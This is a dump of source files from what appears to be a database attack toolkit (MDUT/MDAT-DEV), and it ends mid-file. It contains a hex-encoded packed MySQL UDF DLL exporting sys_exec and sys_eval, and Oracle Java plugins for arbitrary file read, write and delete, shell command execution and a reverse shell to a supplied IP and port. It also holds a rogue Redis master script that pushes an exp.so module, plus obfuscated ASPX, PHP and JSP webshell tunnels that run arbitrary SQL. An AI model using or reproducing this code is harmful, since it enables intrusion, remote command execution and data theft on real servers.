534C97F23401EC25F6A4849918F144A50152E9DF458AAF8A29C10F3EB67611C7E052C37D4598FEDED8321B9273551E0F5EE3BDC0ABF03E4507F4B8417185BDB7E600BCE1CDC142CD6E288B154B609E01B14F413160A4BDB313DDCDBFFDC84676CC859D94E1E07F7D81BF076BBB7C00359485D1656B8BC18BE04A3638B6F2AF83BC673080753025073D85F60835A3BFE72F15F5E25206C6053C820CC006F35B4DD452BB84D5A346627040B85BF2B5E6E413C03C1813850E45FEFA5ECFFFB33D2B90B011C48180F94C28BC25DC33FB702BF35E34831C80FB74114AE057106C1A55B6C33578C081817761BFFFF2FF1D7487BF972098B580803D93BFB720A4283C0283BD67270CA36B5E86AE55DC38F6AFEF0CD71F7A970040B056418005083EC080DB7C670082F316C33C576F0852F06DF64A31A89B90968555DB7F081F0B2091C6B04F555972DD12C937D1350195C083B04E1C26F2724C1E81FF715E0018FEFB6532B034F230059948BE55DC3621DDB49A301CA3DAFC0FAE99525242631CCFF29343232B61058054C50AC2CB41E97AF12B60D56096B27D7616B20CFB0FBEF2AE4E03160031F73D9665B9A6C038D2BE0FAFC046BA039F13CB4FC8A0D6C120C7D0DC395C3C1619C965154147FE41F3E783124F020140BDAC40E5643B25D53EC1068F885626DF4F888C9BF4EE640BB25EEA0398466820D85C33149DB9F0A359A04EB605675F869639FC1F6448B7598751F1033F0071476E6CA20189D271CB4F6EE6FEDF4330C113BF77507BE4F59EB0B85F30A7B047EA10AC1E0100BF0CE00F7D6076C840D1E045E5F01C33F5C05646464646064686C1405766474B000003FF4C20E034B0F20185F4E6F20FFFFB7FF617267756D656E7473096C6C6F77656420287564663A206C69625F6DCCFD6DF77973716C0D5F73085F696E666F293918DFB6FF8F2076657273696F6E20302E01341F45787065F6DBDBDD637447657861076C79201A65207374723F5BDB5AFB672074791B75726171217258C00E602B7477911FD86F030B3F8672206E616D48DBB1B71F436F756C246E6F74C4636113203058B76D186D2779AF72F1483FDA4D943F2003121071051BF29D5860214707D0604D0D0B0F81CB074ED961DD9703AB17CC2708A77527ECC00FD81F0A3B034FC0A07B851F03240328C1556583A200C5889251CA22D877BDB119BF44FF000F5565A3AA00A8AA9251645455C95532AAAAFFF61D455C0410020157616974466F00FC06C07253886C654F626A07C07F6B99145669727475616C417603E0F6370D536574456E76126F6EC000BC6DBF5661726961622B4118437265F76DEB6E94546806640D47264375727222CD12F65B502A636573734914266E03E083135469636BDE6E6BB1F6B6FD5175657279500366846D616E371667EF1B00FD0144697367374CFDB7EDED6962727879436192731A4973446562756767EDEE6DAD266A686546A4556E6840B1B7B7B7643164457846707469AF46696C4A6D295B6119B41254DE64AEB0176D0DD8114990B9EDD61A0A6B409D6D70876547C25A73CD517F77555122B4ED6E591B5C537973186DEEC3C2EB2E39417373650975697CDB15DA434C7D5F687E396D5F2EDFFEDEBE5F616D7367087869740B646A753A5F666469EC4217B076260A639A5F64FD6CADB91F5F686F6F6B131459725FF802700148D15FDB9CEB0249730A330A6C21D6F0BD82539C2A64D46E640893050B130F651E6B5B7BC25F2C723456ED6D1C182FF6D69A700A035F706F522947E1DDBE6E106468756C5EB92A6BCB92BD9B1B2CA806E0B6D86E6EC57265250866112E827BDB5673749C637079082439EDCD5C6B32C06E4D0FD7ED1F5AC36F7319663A1F5F4370705831C75E3B8474BC6D343F001817FFFFFFFF3D193C1C1B161E55142D16270815270F11115F10130A070D2E17090705160C1E7FFBFFFF080A0B160918181505061B050C10060717062105110F061421110B08E4FBDFB62B22052A111D0D18532D483806000776FBDBE5080C09330A090B0C051007061612EEDFFEED0E0B34150B18160D3D0542C205121E14066930FFD8DDFF110C0E1D4D0517230D0C3224080B4506F0DE041004F03B0A6EFF2C01043808041C1C0204003E4C016DFF21FD05004AFE9F5A8FE00002210B0109080C634F7AD60C1213D616A300200E10C10A01630B02AB3362B7EE6107006003040233351EEED9C0CE34100706C02633D6EDDB7620AC22033C144002B0021C5759DD0050520143C8C8BA65B1214200A7B82F06DB5D182EB4787407EA0B900C5BFA90CDB742602E72647D610861C90E76C508FB0A00C700A1DB66BB77402E26300304301BECDB943D001A27C04F73726300EB11C0061B40731C4F78C2C2A365761F01030002ED7760497B27421BA023030000EDD8D152127C53030400000000000080FF00000000000000000000807C2408010F85B901000060BE007000108DBE00A0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B92A0000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE005000008B0709C0743C8B5F048D8430B472000001F35083C708FF96F0720000958A074708C074DC89F95748F2AE55FF96F472000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEF87200008DBE00F0FFFFBB0010000050546A045357FFD58D871702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9AD98FFFF0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005C80000056020000E404000000000000584000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365223E3C2F726571756573746564457865637574696F6E4C6576656C3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564339302E435254222076657273696F6E3D22392E302E32313032322E38222070726F636573736F724172636869746563747572653D2278383622207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E504100000000000000000000000010830000F08200000000000000000000000000001D83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004B45524E454C33322E444C4C004D5356435239302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000006672656500000000000000004AFE9F5A0000000058840000010000001200000012000000A4830000EC8300003484000021100000A312000000100000A4120000A3120000A0120000CC110000A31200009811000086110000A31200009811000076100000A3120000431000002E1100001A110000A91000006D84000083840000A0840000BB840000C7840000DA840000EB840000F484000004850000128500001B8500002B8500003985000041850000508500005D850000658500007485000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000700000100000006D3C683E6C3E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Oracle/FileUtil.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | import java.text.SimpleDateFormat; 3 | 4 | public class FileUtil extends Object { 5 | public static String run(String methodName, String params, String encoding) { 6 | String r = ""; 7 | if (methodName.equalsIgnoreCase("listfile")) { 8 | r = FileUtil.listfile(params, encoding); 9 | } else if (methodName.equalsIgnoreCase("getpath")) { 10 | r = FileUtil.getPath(); 11 | } else if (methodName.equalsIgnoreCase("readfile")) { 12 | r = FileUtil.readFile(params); 13 | }else if (methodName.equalsIgnoreCase("writefile")) { 14 | String fp = params.substring(0, params.indexOf("^")); 15 | String fc = params.substring(params.indexOf("^") + 1); 16 | r = FileUtil.writeFile(fp,fc); 17 | } else if (methodName.equalsIgnoreCase("listdiver")) { 18 | r = WwwRootPathCode(); 19 | } else if (methodName.equalsIgnoreCase("deletefile")) { 20 | r = deleteFile(params); 21 | } else { 22 | r = "unkown methodName"; 23 | } 24 | return r; 25 | } 26 | 27 | public static String WwwRootPathCode() { 28 | String d = System.getProperty("user.dir"); 29 | StringBuilder s = new StringBuilder(); 30 | if (!d.startsWith("/")) { 31 | try { 32 | File[] roots = File.listRoots(); 33 | for (File root : roots) { 34 | s.append(root.toString(), 0, 2); 35 | } 36 | } catch (Exception e) { 37 | s.append("/"); 38 | } 39 | } else { 40 | s.append("/"); 41 | } 42 | return s.toString(); 43 | } 44 | 45 | public static String listfile(String dirPath, String encoding){ 46 | if (encoding == null || encoding.equals("")) { 47 | encoding = "utf-8"; 48 | } 49 | String r = ""; 50 | File oF = new File(dirPath), l[] = oF.listFiles(); 51 | String s = "", sT, sQ, sF = ""; 52 | java.util.Date dt; 53 | String fileCode=(String)System.getProperties().get("file.encoding"); 54 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 55 | try { 56 | for (int i = 0; i < l.length; i++) { 57 | dt = new java.util.Date(l[i].lastModified()); 58 | sT = fm.format(dt); 59 | sQ = l[i].canRead() ? "R" : ""; 60 | sQ += l[i].canWrite() ? " W" : ""; 61 | if("".equals(sQ)){ 62 | sQ = "Unknown"; 63 | } 64 | String nm = new String(l[i].getName().getBytes(fileCode), encoding); 65 | if (l[i].isDirectory()) { 66 | s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 67 | } else { 68 | sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 69 | } 70 | } 71 | s += sF; 72 | r = new String(s.getBytes(fileCode), encoding); 73 | }catch (Exception e){ 74 | r = "ERROR://" + e.toString(); 75 | } 76 | return r; 77 | } 78 | public static String getPath() { 79 | String result = ""; 80 | File directory = new File(""); 81 | try { 82 | result = directory.getAbsolutePath(); 83 | } catch (Exception e) { 84 | result = "ERROR://" + e.toString(); 85 | } 86 | return result; 87 | } 88 | 89 | public static String readFile(String filePath){ 90 | StringBuffer sb = new StringBuffer(); 91 | DataInputStream input = null; 92 | try { 93 | input = new DataInputStream(new FileInputStream(filePath)); 94 | while (input.available() > 0) { 95 | String hex = String.format("%02x", input.readByte() & 0xFF); 96 | sb.append(hex); 97 | } 98 | } catch (Exception e) { 99 | sb.append("ERROR://" + e.toString()); 100 | } 101 | //System.out.println(sb.toString()); 102 | return sb.toString(); 103 | } 104 | 105 | public static String writeFile(String filePath, String fileContext){ 106 | String r = "ok"; 107 | try { 108 | String h = "0123456789ABCDEF"; 109 | String fileHexContext = fileContext; 110 | File f = new File(filePath); 111 | FileOutputStream os = null; 112 | os = new FileOutputStream(f); 113 | for (int i = 0; i < fileHexContext.length(); i += 2) { 114 | os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); 115 | } 116 | os.close(); 117 | } catch (Exception e) { 118 | r = "ERROR://" + e.toString(); 119 | } 120 | return r; 121 | } 122 | 123 | public static String deleteFile(String path) { 124 | StringBuffer sb = new StringBuffer(); 125 | File f = new File(path); 126 | if (f.exists()) { 127 | if (f.delete()) { 128 | sb.append("success"); 129 | } else { 130 | sb.append("fail"); 131 | } 132 | } else { 133 | sb.append("error"); 134 | } 135 | return sb.toString(); 136 | } 137 | 138 | } -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Oracle/ShellUtil.java: -------------------------------------------------------------------------------- 1 | import java.io.*; 2 | import java.net.Socket; 3 | 4 | 5 | public class ShellUtil extends Object{ 6 | public static String run(String methodName, String params, String encoding) { 7 | String res = ""; 8 | if (methodName.equals("exec")) { 9 | res = ShellUtil.exec(params, encoding); 10 | }else if (methodName.equals("connectback")) { 11 | String ip = params.substring(0, params.indexOf("^")); 12 | String port = params.substring(params.indexOf("^") + 1); 13 | res = ShellUtil.connectBack(ip, Integer.parseInt(port)); 14 | }else { 15 | res = "unkown methodName"; 16 | } 17 | return res; 18 | } 19 | 20 | public static String exec(String command, String encoding) { 21 | StringBuffer result = new StringBuffer(); 22 | try { 23 | String[] finalCommand; 24 | if (System.getProperty("os.name").toLowerCase().contains("windows")) { 25 | String systemRootvariable; 26 | try { 27 | systemRootvariable = System.getenv("SystemRoot"); 28 | } 29 | catch (ClassCastException e) { 30 | systemRootvariable = System.getProperty("SystemRoot"); 31 | } 32 | finalCommand = new String[3]; 33 | finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe"; 34 | finalCommand[1] = "/c"; 35 | finalCommand[2] = command; 36 | } else { // Linux or Unix System 37 | finalCommand = new String[3]; 38 | finalCommand[0] = "/bin/sh"; 39 | finalCommand[1] = "-c"; 40 | finalCommand[2] = command; 41 | } 42 | BufferedReader readerIn = null; 43 | BufferedReader readerError = null; 44 | try { 45 | readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding)); 46 | String stemp = ""; 47 | while ((stemp = readerIn.readLine()) != null){ 48 | result.append(stemp).append("\n"); 49 | } 50 | }catch (Exception e){ 51 | result.append(e.toString()); 52 | }finally { 53 | if (readerIn != null) { 54 | readerIn.close(); 55 | } 56 | } 57 | try { 58 | readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding)); 59 | String stemp = ""; 60 | while ((stemp = readerError.readLine()) != null){ 61 | result.append(stemp).append("\n"); 62 | } 63 | }catch (Exception e){ 64 | result.append(e.toString()); 65 | }finally { 66 | if (readerError != null) { 67 | readerError.close(); 68 | } 69 | } 70 | } catch (Exception e) { 71 | result.append(e.toString()); 72 | } 73 | return result.toString(); 74 | } 75 | 76 | public static String connectBack(String ip, int port) { 77 | class StreamConnector extends Thread { 78 | InputStream sp; 79 | OutputStream gh; 80 | 81 | StreamConnector(InputStream sp, OutputStream gh) { 82 | this.sp = sp; 83 | this.gh = gh; 84 | } 85 | @Override 86 | public void run() { 87 | BufferedReader xp = null; 88 | BufferedWriter ydg = null; 89 | try { 90 | xp = new BufferedReader(new InputStreamReader(this.sp)); 91 | ydg = new BufferedWriter(new OutputStreamWriter(this.gh)); 92 | char buffer[] = new char[1024]; 93 | int length; 94 | while ((length = xp.read(buffer, 0, buffer.length)) > 0) { 95 | ydg.write(buffer, 0, length); 96 | ydg.flush(); 97 | } 98 | } catch (Exception e) {} 99 | try { 100 | if (xp != null) { 101 | xp.close(); 102 | } 103 | if (ydg != null) { 104 | ydg.close(); 105 | } 106 | } catch (Exception e) { 107 | } 108 | } 109 | } 110 | try { 111 | String sp; 112 | if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { 113 | sp = new String("/bin/sh"); 114 | } else { 115 | sp = new String("cmd.exe"); 116 | } 117 | Socket sk = new Socket(ip, port); 118 | Process ps = Runtime.getRuntime().exec(sp); 119 | (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start(); 120 | (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start(); 121 | } catch (Exception e) { 122 | } 123 | return "^OK^"; 124 | } 125 | 126 | 127 | } 128 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Redis/exp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeGroceryStore/MDUT/d9af1b1c645cc309787a45ad833d645123855f91/MDAT-DEV/src/main/Plugins/Redis/exp.so -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Redis/exp.so.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeGroceryStore/MDUT/d9af1b1c645cc309787a45ad833d645123855f91/MDAT-DEV/src/main/Plugins/Redis/exp.so.1 -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Redis/redis-cus-rogue.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import sys 4 | import argparse 5 | import socketserver 6 | import logging 7 | import socket 8 | import time 9 | 10 | DELIMITER = b"\r\n" 11 | 12 | class RoguoHandler(socketserver.BaseRequestHandler): 13 | def decode(self, data): 14 | if data.startswith(b'*'): 15 | return data.strip().split(DELIMITER)[2::2] 16 | if data.startswith(b'$'): 17 | return data.split(DELIMITER, 2)[1] 18 | 19 | return data.strip().split() 20 | 21 | def handle(self): 22 | while True: 23 | data = self.request.recv(1024) 24 | logging.info("receive data: %r", data) 25 | arr = self.decode(data) 26 | if arr[0].startswith(b'PING'): 27 | self.request.sendall(b'+PONG' + DELIMITER) 28 | elif arr[0].startswith(b'REPLCONF'): 29 | self.request.sendall(b'+OK' + DELIMITER) 30 | elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'): 31 | self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) 32 | self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER) 33 | self.request.sendall(self.server.payload + DELIMITER) 34 | break 35 | 36 | self.finish() 37 | 38 | def finish(self): 39 | self.request.close() 40 | 41 | 42 | class RoguoServer(socketserver.TCPServer): 43 | allow_reuse_address = True 44 | 45 | def __init__(self, server_address, payload): 46 | super(RoguoServer, self).__init__(server_address, RoguoHandler, True) 47 | self.payload = payload 48 | 49 | 50 | if __name__ == "__main__": 51 | if len(sys.argv)< 2: 52 | print("python [port] [filename]") 53 | print("python 21000 exp.so") 54 | exit(0) 55 | 56 | lport = int(sys.argv[1]) 57 | expfile = sys.argv[2] 58 | with open(expfile, 'rb') as f: 59 | server = RoguoServer(('0.0.0.0', lport), f.read()) 60 | print("rogue server startup %d port"%lport) 61 | server.handle_request() 62 | print("recevice client request") 63 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Template/mssql_tunnel.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="Jscript"%> 2 | <% 3 | function base64_xor_encrypt(str,key) 4 | { 5 | var b64byte = System.Text.Encoding.GetEncoding("UTF-8").GetBytes(str); 6 | var res = new byte[b64byte.length]; 7 | for (var c = 0; c < res.length; c++) 8 | { 9 | res[c] = (byte)(b64byte[c] ^ key[c % key.length]); 10 | } 11 | return System.Convert.ToBase64String(res); 12 | } 13 | 14 | function base64_xor_decrypt(str,key) 15 | { 16 | var fristBase64_Byte = System.Convert.FromBase64String(str); 17 | var temp = new byte[fristBase64_Byte.length]; 18 | for (var c = 0; c < temp.length; c++) 19 | { 20 | temp[c] = (byte)(fristBase64_Byte[c] ^ key[c % key.length]); 21 | } 22 | var secondBase64Sting = Encoding.Default.GetString(temp); 23 | return secondBase64Sting; 24 | } 25 | 26 | try{ 27 | var key = "{KeyString}"; 28 | var args = Request.Item[key]; 29 | if(args == null){ 30 | return; 31 | } 32 | var argArr = base64_xor_decrypt(args,key).Split("|"); 33 | var hst = argArr[0]; 34 | var usr = argArr[1]; 35 | var pwd = argArr[2]; 36 | var dbn = argArr[3]; 37 | var sql = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(argArr[4])); 38 | var hp = hst.Split(":"); 39 | var DriverUrl = "Driver={Sql Server};Server=" + hp[0] + "," + hp[1] + ";Database=" + dbn + ";Uid=" + usr + ";Pwd=" + pwd; 40 | var Conn = new ActiveXObject("Adodb.connection"); 41 | Conn.ConnectionString = DriverUrl; 42 | Conn.ConnectionTimeout = argArr[5]; 43 | Conn.Open(); 44 | var Dat:String = ""; 45 | var Rs = Conn.Execute(sql); 46 | var i:Int32 = Rs.Fields.Count,c:Int32; 47 | if (Rs.state != 0){ 48 | while(!Rs.EOF && !Rs.BOF){ 49 | for(c = 0;c -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Template/mysql_tunnel.php: -------------------------------------------------------------------------------- 1 | = strlen($key)) $num = $num % strlen($key); 16 | $post[$i] = $post[$i]^$key[$num]; 17 | $num += 1; 18 | } 19 | return base64_encode($post); 20 | } 21 | 22 | function base64_xor_derypt($str,$key){ 23 | $num = 0; 24 | $post = base64_decode($str); 25 | for($i=0;$i= strlen($key)) $num = $num % strlen($key); 27 | $post[$i] = $post[$i]^$key[$num]; 28 | $num += 1; 29 | } 30 | return $post; 31 | } 32 | 33 | ob_start(); 34 | try { 35 | if(!empty($_POST[$key])){ 36 | $m = get_magic_quotes_gpc(); 37 | $args = $m ? stripslashes(base64_xor_derypt($_POST[$key]),$key) : base64_xor_derypt($_POST[$key],$key); 38 | $arg = explode("|",$args); 39 | $hst = $arg[0]; 40 | $usr = $arg[1]; 41 | $pwd = $arg[2]; 42 | $dbn = $arg[3]; 43 | $sql = base64_decode($arg[4]); 44 | $T = @mysqli_connect($hst, $usr, $pwd); 45 | if (!$T) { 46 | echo ("ERROR://" . mysqli_connect_error()); 47 | } 48 | @mysqli_select_db($T,$dbn); 49 | $q = @mysqli_query($T,$sql); 50 | if (is_bool($q)) { 51 | echo ($q ? "Status | True" : "ERROR://" . mysqli_error($T)); 52 | } else { 53 | $i = 0; 54 | while ($col = @mysqli_fetch_field($q)) { 55 | $i++; 56 | } 57 | while ($rs = @mysqli_fetch_row($q)) { 58 | for ($c = 0;$c < $i;$c++) { 59 | echo (trim($rs[$c])); 60 | } 61 | } 62 | } 63 | @mysqli_close($T); 64 | } 65 | }catch(Exception $e) { 66 | echo "ERROR://" . $e->getMessage(); 67 | } 68 | output($key); 69 | die(); 70 | -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Template/oracle_tunnel.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.sql.*" contentType="text/html;charset=UTF-8"%> 2 | <%! 3 | private String base64Encode(byte[] str) { 4 | String value = null; 5 | try { 6 | Class Base64 = Class.forName("sun.misc.BASE64Encoder"); 7 | Object Encoder = Base64.getDeclaredConstructor().newInstance(); 8 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, str); 9 | } catch (Exception e) { 10 | try { 11 | Class Base64 = Class.forName("java.util.Base64"); 12 | Object Encoder = Base64.getMethod("getEncoder", new Class[0]).invoke(Base64); 13 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, str); 14 | } catch (Exception ee) {} 15 | } 16 | return value; 17 | } 18 | private byte[] base64Decode(String str) { 19 | byte[] value = null; 20 | try { 21 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 22 | value = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 23 | } catch (Exception e) { 24 | try { 25 | Class clazz = Class.forName("java.util.Base64"); 26 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 27 | value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 28 | }catch (Exception ee) {} 29 | } 30 | return value; 31 | } 32 | 33 | private byte[] xorWithKey(byte[] a, byte[] key) { 34 | byte[] out = new byte[a.length]; 35 | for (int i = 0; i < a.length; i++) { 36 | out[i] = (byte) (a[i] ^ key[i % key.length]); 37 | } 38 | return out; 39 | } 40 | 41 | private String executeSQL(String[] conn, String columnsep, String rowsep, boolean needcoluname) throws Exception { 42 | String ret = ""; 43 | Class.forName("oracle.jdbc.driver.OracleDriver"); 44 | String url = String.format("jdbc:oracle:thin:@%s/%s",conn[0], conn[3]); 45 | Connection c = DriverManager.getConnection(url, conn[1], conn[2]); 46 | Statement stmt = c.createStatement(); 47 | boolean isRS = stmt.execute(new String(base64Decode(conn[4]))); 48 | if (isRS) { 49 | ResultSet rs = stmt.getResultSet(); 50 | ResultSetMetaData rsmd = rs.getMetaData(); 51 | if (needcoluname) { 52 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 53 | String columnName = rsmd.getColumnName(i); 54 | ret += columnName + columnsep; 55 | } 56 | ret += rowsep; 57 | } 58 | 59 | while (rs.next()) { 60 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 61 | String columnValue = rs.getString(i); 62 | ret += columnValue + columnsep; 63 | } 64 | ret += rowsep; 65 | } 66 | } else { 67 | //ret += "Result" + columnsep + rowsep; 68 | int rowCount = stmt.getUpdateCount(); 69 | if (rowCount > 0) { 70 | ret += "Rows changed = " + rowCount + columnsep + rowsep; 71 | } else if (rowCount == 0) { 72 | ret += "No rows changed or statement was DDL command" + columnsep + rowsep; 73 | } else { 74 | ret += "False" + columnsep + rowsep; 75 | } 76 | } 77 | return ret; 78 | } 79 | 80 | public String query(String[] conn) throws Exception { 81 | String columnsep = "\t|\t"; 82 | String rowsep = "\r\n"; 83 | return executeSQL(conn,columnsep, rowsep, false); 84 | } 85 | 86 | public String decode(String str, String key){ 87 | return new String(xorWithKey(base64Decode(str),key.getBytes())); 88 | } 89 | public String encode(String str, String key){ 90 | return base64Encode(xorWithKey(str.getBytes(), key.getBytes())); 91 | } 92 | %> 93 | <% 94 | response.setContentType("text/html"); 95 | request.setCharacterEncoding("UTF-8"); 96 | response.setCharacterEncoding("UTF-8"); 97 | StringBuffer output = new StringBuffer(""); 98 | String key = "{KeyString}"; 99 | String funccode = request.getParameter(key); 100 | if(funccode != null){ 101 | try { 102 | String[] pars = decode(funccode,key).split("\\|"); 103 | output.append(query(pars)); 104 | } catch (Exception e) { 105 | output.append("ERROR://" + e.toString()); 106 | } 107 | } 108 | out.print(encode(output.toString(),key)); 109 | %> -------------------------------------------------------------------------------- /MDAT-DEV/src/main/Plugins/Template/postgresql_tunnel.php: -------------------------------------------------------------------------------- 1 | = strlen($key)) { 19 | $num = $num % strlen($key); 20 | } 21 | $post[$i] = $post[$i] ^ $key[$num]; 22 | $num += 1; 23 | } 24 | return base64_encode($post); 25 | } 26 | 27 | function base64_xor_derypt($str, $key) 28 | { 29 | $num = 0; 30 | $post = base64_decode($str); 31 | for ($i = 0; $i < strlen($post); $i++) { 32 | if ($num >= strlen($key)) { 33 | $num = $num % strlen($key); 34 | } 35 | $post[$i] = $post[$i] ^ $key[$num]; 36 | $num += 1; 37 | } 38 | return $post; 39 | } 40 | 41 | ob_start(); 42 | try { 43 | $m = get_magic_quotes_gpc(); 44 | $args = $m ? stripslashes(base64_xor_derypt($_POST[$key]),$key) : base64_xor_derypt($_POST[$key],$key); 45 | $arg = explode("|",$args); 46 | $hst = $arg[0]; 47 | $usr = $arg[1]; 48 | $pwd = $arg[2]; 49 | $dbn = $arg[3]; 50 | $sql = base64_decode($arg[4]); 51 | list($host, $port) = explode(":", $hst); 52 | $port == "" ? $port = "5432" : $port; 53 | $arr = array('host' => $host, 'port' => $port, 'user' => $usr, 'password' => $pwd, 'dbname' => $dbn); 54 | $cs = ''; 55 | foreach ($arr as $k => $v) { 56 | if (empty($v)) { 57 | continue; 58 | } 59 | $cs .= "{$k}={$v} "; 60 | } 61 | $T = @pg_connect($cs); 62 | if (!$T) { 63 | echo "ERROR://" . @pg_last_error($T); 64 | } else { 65 | $q = @pg_query($T, $sql); 66 | if (!$q) { 67 | echo "ERROR://" . @pg_last_error($T); 68 | } else { 69 | $n = @pg_num_fields($q); 70 | if ($n === NULL) { 71 | echo ("ERROR://" . @pg_last_error($T)); 72 | } elseif ($n === 0) { 73 | echo "Affect Rows " .@pg_affected_rows($q); 74 | } else { 75 | while ($row = @pg_fetch_row($q)) { 76 | for ($i = 0; $i < $n; $i++) { 77 | echo ($row[$i] !== NULL ? $row[$i] : "NULL"); 78 | } 79 | } 80 | } 81 | @pg_free_result($q); 82 | } 83 | @pg_close($T); 84 | } 85 | } catch (Exception $e) { 86 | echo "ERROR://" . $e->getMessage(); 87 | } 88 | output($key); 89 | die; -------------------------------------------------------------------------------- /MDAT-DEV/src/main/data.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeGroceryStore/MDUT/d9af1b1c645cc309787a45ad833d645123855f91/MDAT-DEV/src/main/data.db -------------------------------------------------------------------------------- /MDAT-DEV/src/main/java/Controller/MysqlController.java: -------------------------------------------------------------------------------- 1 | package Controller; 2 | 3 | import Dao.MysqlDao; 4 | import Dao.MysqlHttpDao; 5 | import Entity.ControllersFactory; 6 | import Util.Utils; 7 | import Util.MessageUtil; 8 | import javafx.application.Platform; 9 | import javafx.collections.FXCollections; 10 | import javafx.collections.ObservableList; 11 | import javafx.event.ActionEvent; 12 | import javafx.fxml.FXML; 13 | import javafx.fxml.Initializable; 14 | import javafx.scene.control.Button; 15 | import javafx.scene.control.ComboBox; 16 | import 